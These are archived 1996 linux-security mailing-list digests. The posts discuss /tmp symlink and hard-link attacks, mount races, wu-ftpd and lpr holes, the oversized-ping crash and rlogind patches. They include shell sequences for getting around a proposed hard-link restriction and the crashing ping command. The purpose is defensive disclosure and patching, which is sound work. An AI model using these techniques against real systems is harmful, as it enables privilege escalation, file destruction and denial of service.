hard link in a directory with the t bit set if the file being linked to is not owned by the process (as determined by the fsuid). This would not apply to processes with fsuid==0. So the full set of semantic changes would be: 1) don't follow symlinks in directories with the t bit set if the fsuid does not match the owner of the link, and the owner of the link is not root. This specifically includes the case where the fsuid is 0. 2) don't allow a process with fsuid!=0 to create a hard link in a directory with the t bit set to a file that it does not own. The 1st rule requires a change in fs/namei.c:follow_link() that I posted before The 2nd rule will require a few simple lines to be added to fs/namei.c:do_link() Some people have suggested more radical rules but I don't think they are warranted. I'm trying to come up with the minimum changes that make /tmp secure while not impacting significantly on legitimate uses. As far as configurability, I'd like to see these changes become the default, just like the changes that were made to eliminate setuid shell scripts, and the ones that drop source routed IP packets. I think these changes are of a quite different nature to the nosuid and noexec options, as those options would break the average linux system if they were on by default, whereas the proposed symlink and link changes should not be noticed on the vast majority of systems. The only "normal" things that might break is when people create a set of soft links in /tmp (perhaps using lndir) to setup some directory structure for a friend. I think that its not too much to ask people doing this to create a /tmp/user directory and put their links in there (this is quite safe). Without these changes there are just too many security holes waiting to happen in /tmp. The fact that you can wipe out files owned by anyone (including root) that runs gcc should give us all pause to think :-) Andrew ------------------------------ From: Alan Cox Date: Sun, 20 Oct 1996 18:37:59 +0100 (BST) Subject: Re: [linux-security] safe ftpd's > > is there a known safe ftpd for linux? > > most of the wu-ftpd problems are from people not running the current ver.. > get beta 11 (12 could be out.. not sure) from ftp.academ.com Nope. wu-ftpd has the buggy realpath (remember mount). Also if combined with generic gnu tar the results are disaster ( --rsh-command is a great option) Alan ------------------------------ From: Daniel Pewzner Date: Tue, 22 Oct 1996 22:54:13 -0700 (PDT) Subject: [linux-security] Possible compromise? I've noticed a couple of strange things on my system. First, I believe someone has apparently found some flaw in the wu-ftpd-2.4.2-BETA-10 that I have yet to read about. The /home/ftp directory was chown'd to ftp.bin, and I found a couple libs uploaded. My logs show: Sat Oct 19 21:19:24 1996 27 linux.netlink.net 634880 /libc.so.4 b _ i a a@ ftp 0 * Sat Oct 19 21:20:02 1996 31 linux.netlink.net 555179 /libc.so.5 b _ i a a@ ftp 0 * I fixed telnetd long ago, and /home/ftp/bin/ls is a static bin. I don't seem to see further access from this site beyond what look l like a couple or port scans on the same day. Does anyone know of a problem with wu-ftp, other than the core dump? ------------------------------ End of linux-security-digest V2 #70 *********************************** linux-security-digest/v02.n071100664 1767 1767 50627 6234407650 15460 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #71 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 26 October 1996 Volume 02 : Number 071 Re: [linux-security] Re: t bit and symlinks patch [linux-security] Linux and lpd Re: [linux-security] ncpmount/ncpumount [linux-security] Re: [linux-alert] URGENT: Bug in linux networking stack [linux-security] Re: kernel bug -> security problem Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] ncpmount/ncpumount Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] Re: kernel bug -> security problem Re: [linux-security] Re: kernel bug -> security problem Re: [linux-security] safe ftpd's Re: [linux-security] Re: t bit and symlinks patch ---------------------------------------------------------------------- From: [email protected] (Wietse Venema) Date: Tue, 22 Oct 96 10:30:24 MET DST Subject: Re: [linux-security] Re: t bit and symlinks patch Wietse wrote: > Hard links, soft links, either is sufficient to attack sensitive files > by exploiting naive programs, but the `t' bit is not a requirement at Andrew Tridgell wrote: [Using the `t' bit as a way of requesting less insecure behavior] OK, "do what I mean" semantics can make sense (this is like mounting a file system `nosuid' in order to also disable device special files). To keep semantics simple, I suggest the principle of least surprise: 1) don't allow the creation of hard links that the process can't remove, and 2) don't follow symlinks that the process doesn't own. 1) can be overruled when the process has superuser privilege; 2) can be overruled when the symlink is owned by the superuser or when the symlink is owned by the owner of its (source) directory. I'll resist the temptation to propose changes to the semantics of following symlinks in general. :-) Wietse ------------------------------ From: John Fulmer Date: Sun, 20 Oct 1996 16:53:22 -0500 Subject: [linux-security] Linux and lpd Does anyone know of a hack against lpr/lpd on Slackware 3.0? Someone rewrote the password file on a server I deal with occasionally, and the only real traces are a file called '1' in the /etc directory, which contains the password file + three additional accounts. Then there is a file called passwd.3, which is another copy of the passwd file. Both files are owned by root and group lp. The person had origionally ftp'ed down the password file, by either cracking a users password, or just got it somehow, Then he cracked a user with a shell account with a weak password (his first name!!!) and got onto the system. We're now trying to find out how he replaced the passwd file. Note that we did not lose root afaik. The account was cracked from an account from singapore owned by a Japindar Singh. He also created a Jenny Lee, and a Datacom, Inc account. Apparently he just wanted them to run a couple of irc bots. jf - -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + John Fulmer | "As folks might have suspected, + + Secure Network System | not much survives except roaches, + + Lawrence, Kansas | and they don't carry large enough + + | packets fast enough..." + + [email protected] | --Dave Crocker, about the + + http://www.blanket.com | Internet and nuclear war. + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ------------------------------ From: David Holland Date: Mon, 21 Oct 1996 07:02:11 -0400 (EDT) Subject: Re: [linux-security] ncpmount/ncpumount > I haven't had a chance to look at the source code yet, but it appears that > ncpmount and ncpumount suffer from exactly the same problem that mount and > umount did. In fact, the mount exploit that was so widely circulated works > with ncpumount with no modifications. I should note that smbmount suffers from a kernel interface design flaw resulting in an exploitable race condition - if ncpmount lets users mount arbitrary filesystems, it is also vulnerable to this attack; in fact, any tool for letting users mount arbitrary filesystems on arbitrary mount points is. smbmount also has buffer overflows, although if they're the "same" as the one in mount I don't know. I posted about this once before, and I sent patches to the smbmount maintainer, who said he'd look into it "in the fall". I haven't heard anything back since then, nor have I heard anything about fixing the race condition. The race condition is the standard problem: if you check permissions in a different namei() operation than performing an action, symlinks can be flipped around in between. In this case the problem is that the user mode program performs a permission check using stat, and then hands the pathname for the mount point off to the kernel which then does another namei() to find the actual inode to mount over. This means that you can mount stuff anywhere you like, such as over /etc. Proceeding to a root shell from there is left as an exercise. My point? chmod u-s smbmount, smbumount, ncpmount, ncpumount, and anything else that lets users do mounts on mount points of their own choosing. Also be careful where you permit users to mount things when using a program (such as ordinary mount) that lets you configure particular mount points for users to use. And keep it this way until you hear news of kernel support for user mounting. (The solution to this problem is to push the permission checks for doing mounts down into the kernel, where they belong.) - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Alan Cox Date: Tue, 22 Oct 1996 15:45:13 +0100 (BST) Subject: [linux-security] Re: [linux-alert] URGENT: Bug in linux networking stack > This patch does *NOT* prevent this situation from occuring completely. It > is still possible to crash a linux machine with an oversized ping. Well I dont think its quite that. The latest 'extended edition' patch on the site should fix both the oversized patch bugs and another 2.0.x bug that showed up due to a bug in a hacking tool meant to send oversize packets. The new version breaks binary module compatibility - I had no choice. Alan ------------------------------ From: M Shariful Anam Date: Fri, 25 Oct 1996 03:27:23 +0600 (GMT+0600) Subject: [linux-security] Re: kernel bug -> security problem On Thu, 24 Oct 1996 [email protected] wrote: > > > I've just received e-mail about a bug in the kernel which causes linux > > > to reboot when the following ping is issued from windowz 95 : "ping -l > > > 65510 linux.box.IP.address" .. I tried it and sure enough linux dies > > > quickly and without any warning ... > > > > Sorry for a late reply, but I just tested this on our LAN, from Win95 to > > linux 1.2.13 and it doesn't crash. > > Maybe it happens on newer kernels ? That is my question. Has anyone faced this trouble with Linux kernel < 2.x.x? [REW: I also see different behaviour than what a friend of mine sees, and we are both running > 2.0.20 kernels] - --- M Shariful Anam Kaifnet Services -- Bangladesh ------------------------------ From: "Theodore Y. Ts'o" Date: Thu, 24 Oct 1996 14:21:06 -0400 Subject: Re: [linux-security] Re: t bit and symlinks patch From: Andrew Tridgell Date: Mon, 21 Oct 1996 23:51:07 +1000 As far as configurability, I'd like to see these changes become the default, just like the changes that were made to eliminate setuid shell scripts, and the ones that drop source routed IP packets. I think these changes are of a quite different nature to the nosuid and noexec options, as those options would break the average linux system if they were on by default, whereas the proposed symlink and link changes should not be noticed on the vast majority of systems. The problem with making these changes be there by default is that Linux would then be in violation of POSIX.1 "by default". This is a bad thing, for a number of reasons. Ultimately, the wise application programmer should be fixing their programs to not have these problems. While I can see how this non-standard behavior you are suggesting might be useful on time-sharing machines, because of the POSIX.1 issues I think it has to be configurable. Personally, the way I keep my Linux machine secure is to make sure no-one other than myself can get a shell into it. There are an awfully large number of holes that one would have to close before it was impossible for someone with a user shell to gain root access. We should try to close them off, but being realistic, there'll always be one more way in.... - Ted ------------------------------ From: Alan Cox Date: Sun, 20 Oct 1996 18:43:21 +0100 (BST) Subject: Re: [linux-security] WinNT security? > NO! This has NOTHING to do with NT. This was a Windows 95 stupidity, > pure and simple. Windows NT has NEVER been subject to the same type of > password vulnerability that the anal retentive Windows 95 was. Windows > NT stores passwords in it's registry and is at least as secure as Linux with Wrong. 1. Windows NT can be tricked into sending out unencrypted passwords 2. Windows NT registries tend to be a bit easy to read over the network The former is discussed in the draft specification for the CIFS protocol. Its the common backward compatibility type attack when an NT box mounts a share off another machine. You beat the other machine to the response and swap it for a 'Don't understand that command option'. At which point NT goes 'oh dumb computer.. no problem - send plaintext'. You can trick the other SMB clients into this too as its a generic SMB flaw. Novell sort of got this right as you can tell Novell IPX clients to refuse to do weaker authentication if asked to. > Windows 95 had a problem commonly refered to as a "dot...dot" bug > where someone could request a file ../../../foo.bar and walk past the root > of a share. This made your entire hard drive (including those lovely Windows NT has a feature whereby it tends to export whole disks in a handy erasable format > floppy drive and only on 3 particular models of PC! Real useful. But the You have to evaluate on specific hardware - take for example the 486 FPU memory scribble hardware bug - you code either has to use chips without the bug and guarantee it OR work aroun dit Alan ------------------------------ From: David Holland Date: Thu, 24 Oct 1996 23:30:15 -0400 (EDT) Subject: Re: [linux-security] Re: t bit and symlinks patch > Wietse wrote: > > To my surprise the discussion focuses entirely on symlink attacks from > > world-writable directories. I remind the reader that many of these > > attacks are also possible when sensitive files can be hardlinked to, > > for example, the /tmp directory. > > You're dead right. I plan on doing an updated patch that fixes this > and also addresses some of the other ideas people have sent me. > > I think we need to fix the hard link problem at link creation time > rather than by checking for link counts at lookup time, because once > the hard link is created its impossible to tell who created it, and > thus we couldn't allow for root creating hard links in /tmp (which can > be useful) > > So I propose that we disallow the creation of a hard link in a > directory with the t bit set if the file being linked to is not owned > by the process (as determined by the fsuid). This would not apply to > processes with fsuid==0. Just for starters, this won't work - I can do cd /tmp md foo cd foo ln ../target-file hack cd .. mv foo/hack . rd foo If you disallow linking *to* files that are in +t dirs, I can cd /tmp md foo cd foo ln -s ../target-file proxy ln proxy hack rm proxy cd .. mv foo/hack . rd foo for the same effect. If you disallow making symlinks into directories that are +t, I can make a link to /tmp and use that instead. If you do that (and you make sure to do it right so if you make links to /tmp you don't gain anything), I can still, in most environments, manufacture such a link on another system and cause it to appear on the target system via nfs or equivalent. You also run into problems whenever somebody wants to make a symlink to a file that doesn't exist yet. You can also make symlinks to .. and move them around. Frankly I think that this approach is not an effective use of resources. You might get all these issues worked out eventually, by which time you will have slowed down the filesystem enough doing extra checks that nobody will want to use it. And you might not, in which case the whole thing will turn out to have been a waste of time. It'd probably be better to go start fixing the programs that use /tmp. OpenBSD claims to have fixed nearly everything of the things they maintain in their source tree. [REW: In the far past, Unix didn't have a rename system call. The mv program would create a new -=link=- to the file before removing the old one. A cursory inspection of the above suggestions shows that this would prevent Davids way to circumvent the suggested links-in-tmp-fix. Right?] - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Alan Cox Date: Fri, 25 Oct 1996 09:31:11 +0100 (BST) Subject: Re: [linux-security] ncpmount/ncpumount > > I haven't had a chance to look at the source code yet, but it appears that > > ncpmount and ncpumount suffer from exactly the same problem that mount and > > umount did. In fact, the mount exploit that was so widely circulated works > > with ncpumount with no modifications. > Wouldn't the best thing to do be to roll ncp(un)mount, smb(un)mount into the > standard Linux mount command? Unquestionably. I'm going to look at changing the exact rules Linux uses to decide if you can mount over something to allow mounting directly over a current directory. That way mount can cd to the directory to mount and mount over . (which isnt going to move) Alan ------------------------------ From: Michael T Farnworth Date: Fri, 25 Oct 1996 03:23:48 -0400 (EDT) Subject: Re: [linux-security] Re: t bit and symlinks patch On Tue, 22 Oct 1996, Andrew Tridgell wrote: > The proposed changes to the behaviour of links extends this idea by > making the t bit also limit other behaviour which is even more > dangerous than allowing people to delete files. Allowing users to > follow links owned by other users is more dangerous than allowing them > to delete files because by following links they can destroy files > anywhere on the system, not just the files created by the programs that > write to /tmp. It sounds as though this 'simple' solution to all the potential security holes is getting increasingly convoluted. Surely this leads down a pathway towards increased incompatibility with other unixes. Ultimately tampering like this with things which are considered uniform by programmers is sure to lead to mysterious difficult to find bugs and a reduced understanding of how the operating system works. Introducing many exceptions to rules is not a good thing. Fixing broken programs in this kind of way just encourages people to produce more broken programs. Better to fix things than to turn the operating system into a big clunky system, filled with exceptions and generally a fudge. This is not intended as a flame, but an appeal to fix the broken parts rather than increase overhead and complexity with operations which are only applicable in a minority of cases. > > Cheers, Andrew > Mtf ------------------------------ From: Jon Lewis Date: Fri, 25 Oct 1996 21:06:46 -0400 (EDT) Subject: Re: [linux-security] Re: kernel bug -> security problem On Fri, 25 Oct 1996, Paul Christenson wrote: > We found that it does not crash a 1.2.13 Slackware machine, but does on > Debian running 2.0.6 and 2.0.23. > > Can someone repost the patch, or at least tell when 2.0.24 is due for > release? http://www.uk.linux.org/NetNews.html - ------------------------------------------------------------------ Jon Lewis | Unsolicited commercial e-mail will Network Administrator | be proof-read for $199/hr. ________Finger [email protected] for PGP public key_______ ------------------------------ From: "Rick S. Harby" Date: Fri, 25 Oct 1996 22:18:41 -0400 (EDT) Subject: Re: [linux-security] Re: kernel bug -> security problem > > On Thu, 24 Oct 1996 [email protected] wrote: > > > > I've just received e-mail about a bug in the kernel which causes linux > > > > to reboot when the following ping is issued from windowz 95 : "ping -l > > > > 65510 linux.box.IP.address" .. I tried it and sure enough linux dies > > > > quickly and without any warning ... > > > > > > Sorry for a late reply, but I just tested this on our LAN, from Win95 to > > > linux 1.2.13 and it doesn't crash. > > > > Maybe it happens on newer kernels ? > > That is my question. Has anyone faced this trouble with Linux kernel < > 2.x.x? > > [REW: I also see different behaviour than what a friend of mine sees, > and we are both running > 2.0.20 kernels] > I have seen it crash a box running lower versions, but I have seen it not crash boxes which use ifconfig to set a max packet size. We informed a client of ours about the bug, and attempted to demonstrate it on his Linux box with no luck, and latter found it was his unique ifconfig which prevented it from affecting the system. -Rick .-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-. | Rick S. Harby E-Znet Incorporated | | [email protected] Rochester, NY | | System Operations Manager http://www.eznet.net | `-------------------------------------------------------------------------' ------------------------------ From: Alan Cox Date: Fri, 25 Oct 1996 22:43:58 +0100 (BST) Subject: Re: [linux-security] safe ftpd's > > Nope. wu-ftpd has the buggy realpath (remember mount). Also if combined with > > generic gnu tar the results are disaster ( --rsh-command is a great option) > > Alan, > > Be more specific. ie. > > 1) Does this bug affect wu-ftpd-2.4-academ-BETA-11? > > 2) If so, what are the implications? Can local remote/users get root access? > How? Has an exploit been published? Fixes? 1. Yes 2. With the tar one they can run arbitary binaries if they can upload them. If not then it its probably fairly safe but they can still write to files in the anon ftp area I don't have a realpath() exploit. Im not certain it can be exploited easily. The tar one is the bad one, but only affects gnu tar [other tars dont have the options] ALan ------------------------------ From: [email protected] (Rogier Wolff) Date: Sat, 26 Oct 1996 11:41:49 +0200 (MET DST) Subject: Re: [linux-security] Re: t bit and symlinks patch Some people are arguing that "this shows how many programmers are still not aware of the /tmp security issues." (Marek Michalkiewicz ). I think that this is wrong. The reason that I like Unix operating systems is that things are nicely divided up. As a normal user, I cannot really mess up the system. When I write a simple application, I don't have to think about preventing the user of my program to write to files he doesn't have access to. The OS does that for me. That's what it's for. If I write an applciation that is going to need an setuid bit, I KNOW I am getting into a big mess of security issues. Then it is my responsibility to do it good. So to keep with the Unix philosophy "what should be simple actually is", the system should provide sufficient security for the standard use of /tmp. If the suggested fix by Andrew can be made watertight, it could be sufficient. Another way would be to make context sensitive symlinks. (Anybody remember Domain-OS?). This would allow you to make /tmp a symlink to $HOME/tmp . There are many more interesting uses of this feature... Any volunteers? :-) Roger. ------------------------------ End of linux-security-digest V2 #71 *********************************** linux-security-digest/v02.n072100664 1767 1767 31537 6236216111 15450 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #72 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 31 October 1996 Volume 02 : Number 072 Re: [linux-security] Re: kernel bug -> security problem [linux-security] Attack from Crystal.ElectroCity.com Re: [linux-security] Linux and lpd Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] Re: t bit and symli Re: [linux-security] Re: t bit and symlinks patch [linux-security] do_rlogin problem ---------------------------------------------------------------------- From: Rob Hagopian Date: Sat, 26 Oct 1996 15:54:58 -0400 Subject: Re: [linux-security] Re: kernel bug -> security problem > I have seen it crash a box running lower versions, but I have seen >it not crash boxes which use ifconfig to set a max packet size. We >informed a client of ours about the bug, and attempted to demonstrate it >on his Linux box with no luck, and latter found it was his unique ifconfig >which prevented it from affecting the system. On the linux kernel list, it has been mentioned that only 2.0.x might be vulnerable. In particular, 1.2.13 may not be vulnerable. Other factors may involve IP_FORWARDING. (Note I say _may_) The best thing to do IMO is just apply the patch. -Rob ------------------------------ From: Jonathan Ben-Avraham Date: Sun, 27 Oct 1996 09:40:46 +0300 (GMT+0300) Subject: [linux-security] Attack from Crystal.ElectroCity.com Hi, One October 23 one of my clients running Slackware 3.0 was successfully attacked from Crystal.ElectroCity.com using the telnet exploit/shared library attack. Initial telnet access was aparently obtained by social engineering of a student account. - yba EE 77 7F 30 4A 64 2E C5 83 5F E7 49 A6 82 29 BA ~. .~ TclTek Ltd. =}-------------------------------------------------ooO--U--Ooo-----------{= - [email protected] - tel: +972.52.670.353, http://www.tcltek.co.il - ------------------------------ From: [email protected] (Thomas Quinot) Date: 26 Oct 1996 09:14:10 GMT Subject: Re: [linux-security] Linux and lpd John Fulmer ([email protected]) �crit : > Does anyone know of a hack against lpr/lpd on Slackware 3.0? Yes. There is a buffer overflow condition in some BSD-derived lpr implementation, whereby any user can gain root access. A path was posted to bugtraq by Vadim Kolontsov : - -------------------------------------------------------------------------- Here is a little patch -- see file lpr.c, function card(): ("!!" marks added lines) - -------------------------------------------------------------------------- static void card(c, p2) register int c; register char *p2; { char buf[BUFSIZ]; register char *p1 = buf; register int len = 2; if (strlen(p2) > BUFSIZ-2) /* !! */ { /* !! */ printf("No, thanks...\n"); /* !! */ exit(1); /* !! */ } *p1++ = c; while ((c = *p2++) != '\0') { *p1++ = (c == '\n') ? ' ' : c; len++; } *p1++ = '\n'; write(tfd, buf, len); } - -------------------------------------------------------------------------- Details on the attack were posted in freebsd-security (BSD systems also can be compromised). You might also want to consider moving from BSD lpr to LPRng. [REW: I'm getting flooded with messages claiming that this is new. I distincly recall that I've seen this quite a while ago. (The timestamp on the exploit I have is october first.) Anyway, here's a patch, and for those that didn't know, your lpr might be vulnerable....] - -- [email protected] ------------------------------ From: David Holland Date: Mon, 28 Oct 1996 16:33:12 -0500 (EST) Subject: Re: [linux-security] Re: t bit and symlinks patch > When I write a simple application, I don't have to think about > preventing the user of my program to write to files he doesn't have > access to. The OS does that for me. That's what it's for. If I write > an applciation that is going to need an setuid bit, I KNOW I am getting > into a big mess of security issues. Then it is my responsibility to do > it good. > > So to keep with the Unix philosophy "what should be simple actually is", > the system should provide sufficient security for the standard use of > /tmp. You are right. > If the suggested fix by Andrew can be made watertight, it could be > sufficient. As per a previous message, I don't think it can be. > Another way would be to make context sensitive symlinks. (Anybody > remember Domain-OS?). This would allow you to make /tmp a symlink to > $HOME/tmp . There are many more interesting uses of this feature... > Any volunteers? :-) This sounds a lot more interesting. What context do they reference, though? Reading environment variables out of user space sounds horrendous. [REW: Let me answer that question here: I was thinking about allowing user processes to submit a variable to the kernel for inclusion into its "symlink-environment". If you'd allow a process to set it's parent environment, you'd only need one special program to set them, which you can call from /etc/csh.cshrc or whatever YOU use. Otherwise you'd have to make a special shell-builtin for every shell on earth...] - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: "Miller, Raul D." Date: Mon, 28 Oct 96 12:44:00 PST Subject: Re: [linux-security] Re: t bit and symli Wietse Venema (Oct 24): > To keep semantics simple, I suggest the principle of least surprise: > 1) don't allow the creation of hard links that the process can't > remove, and 2) don't follow symlinks that the process doesn't own. > > 1) can be overruled when the process has superuser privilege; 2) can be > overruled when the symlink is owned by the superuser or when the > symlink is owned by the owner of its (source) directory. (A) As has been mentioned before, if any of this done, it has to be configurable -- it's non-standard, and might break existing code. (B) As has been mentioned before, the semantics of rename prevent (1) from being useful. Making rename non-atomic would break the reliability of code which relies on this being an atomic operation. Because of this complexity, I don't think (1) is on the right track. (C) Rule (2) is overly restrictive, but is close to a good idea. The right thing to do is probably the rule of least privilege -- when following symlinks, drop any user privileges so that they do not exceed the access privileges of the owner (and group) of the intervening symlink(s). This might be non-standard, but it "feels right" to me. [Of course, this would not effect either the real or effective id for the case of suid or sgid programs -- though, conceivably, it might prevent them from being run.] - -- Raul ------------------------------ From: "Joseph S. D. Yao" Date: Tue, 29 Oct 1996 14:56:15 -0500 Subject: Re: [linux-security] Re: t bit and symlinks patch > > Another way would be to make context sensitive symlinks. (Anybody > > remember Domain-OS?). This would allow you to make /tmp a symlink to > > $HOME/tmp . There are many more interesting uses of this feature... > > Any volunteers? :-) > > This sounds a lot more interesting. > > What context do they reference, though? Reading environment variables > out of user space sounds horrendous. Domain-OS was a product of Apollo, which was bought by HP. [REW: Correct, however I wasn't thinking about something like HPs context dependent files. More along the lines of the old Apollo variable symlinks. On the apollo you had /usr/bin in your path, but that pointed either towards a sysV compatible set of binaries or a BSD compatible set. However the special "process context" that you mention is indeed what I was thinking about....] HP-UX has a special "process context" string space. The process context includes the system name; the various types of systems, programs compiled for which will run on the current system; whether the system is a diskful ("localroot") or diskless ("remoteroot") system; and the string "default". The context can be read by getcontext(2); there is no symmetrical setcontext(2) [as far as I can tell]. Such a call must be implemented to make the above proposal work. The rough implementation of HP context dependent files (CDFs) is as follows [from public documentation]. If a file is made context- dependent, a "special" directory of the same name is created, and the contents of the file itself are moved into a separate file for each context name in /etc/clusterconf (typically, the names of all of the hosts in a diskless "cluster"). Accesses to the file will access the file whose name is the first "context string" found in the list. The CDF directory itself can be seen by appending "+" to its name. (I don't know what would happen if you had an "x" CDF directory and an "x+" file or directory.) CDFs can be nested, to refine context selection. A CDF directory can be changed to a regular one via 'chmod -H x+', and back via 'chmod +H x'. (Note the use of "+" in the first version.) For instance, if I had a file /etc/rc and made it a CDF, I'd have a CDF directory /etc/rc with the original contents of /etc/rc copied into files named for my cluster hosts - call them joe, mary, teresa, and chriss - plus "default". If I did an ls -l of /etc/rc+, I'd see the five files; but if I did an ls -l of /etc/rc, I'd see whichever matched my context (say, joe) as /etc/rc. >From this, it seems to me fairly trivial to implement. For me, right now, finding the time to do so is not. I won't be insulted if someone else does it first. [;-)] However, I'm not entirely sure that this will be the security panacea that seemed to be promised. I'm also wondering whether it might open other security holes. Also, the HP specific implementation was to allow file systems that were "context shared", and would allow different configurations and executables when run on different systems in the same shared "cluster". I don't believe that NFS would allow this! and HP's networked file system and diskless workstation boot protocol are (I believe) proprietary. I could be wrong about either. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: Scott Doty Date: Wed, 30 Oct 1996 06:40:09 -0800 (PST) Subject: [linux-security] do_rlogin problem In NetKit-B-0.08, rlogin.c, do_rlogin() is called with hp->h_name, a static value returned by the resolver. This value is intended to authenticate the remote host. do_rlogin() calls getpwnam() before using hp->h_name for authentication. If getpwnam() uses the resolver, there may be undesirable side effects that change the remote host name. In our environment, we have observed these side effects. Against char rcsid[] = "$Id: rlogind.c,v 1.13 1996/07/26 05:08:18 dholland Exp $"; we use the following patch: *** rlogind.c.dist Fri Aug 16 15:28:31 1996 - --- rlogind.c Sat Sep 21 01:24:54 1996 *************** *** 272,279 **** } } #endif ! if (do_rlogin(hp->h_name) == 0 && hostok) ! authenticated++; } if (confirmed == 0) { write(f, "", 1); - --- 272,281 ---- } } #endif ! strncpy(remotehost, hp->h_name, sizeof(remotehost)-1); ! remotehost[sizeof(remotehost) - 1] = 0; ! if (do_rlogin(remotehost) == 0 && hostok) ! authenticated++; } if (confirmed == 0) { write(f, "", 1); *************** *** 301,307 **** pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", hp->h_name, "-f", lusername, 0); /* should not return... */ } else { - --- 303,309 ---- pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", remotehost, "-f", lusername, 0); /* should not return... */ } else { *************** *** 313,319 **** pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", hp->h_name, lusername, 0); /* should not return... */ } fatal(STDERR_FILENO, _PATH_LOGIN, 1); - --- 315,321 ---- pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", remotehost, lusername, 0); /* should not return... */ } fatal(STDERR_FILENO, _PATH_LOGIN, 1); -Scott Doty ------------------------------ End of linux-security-digest V2 #72 ***********************************

Internet highlights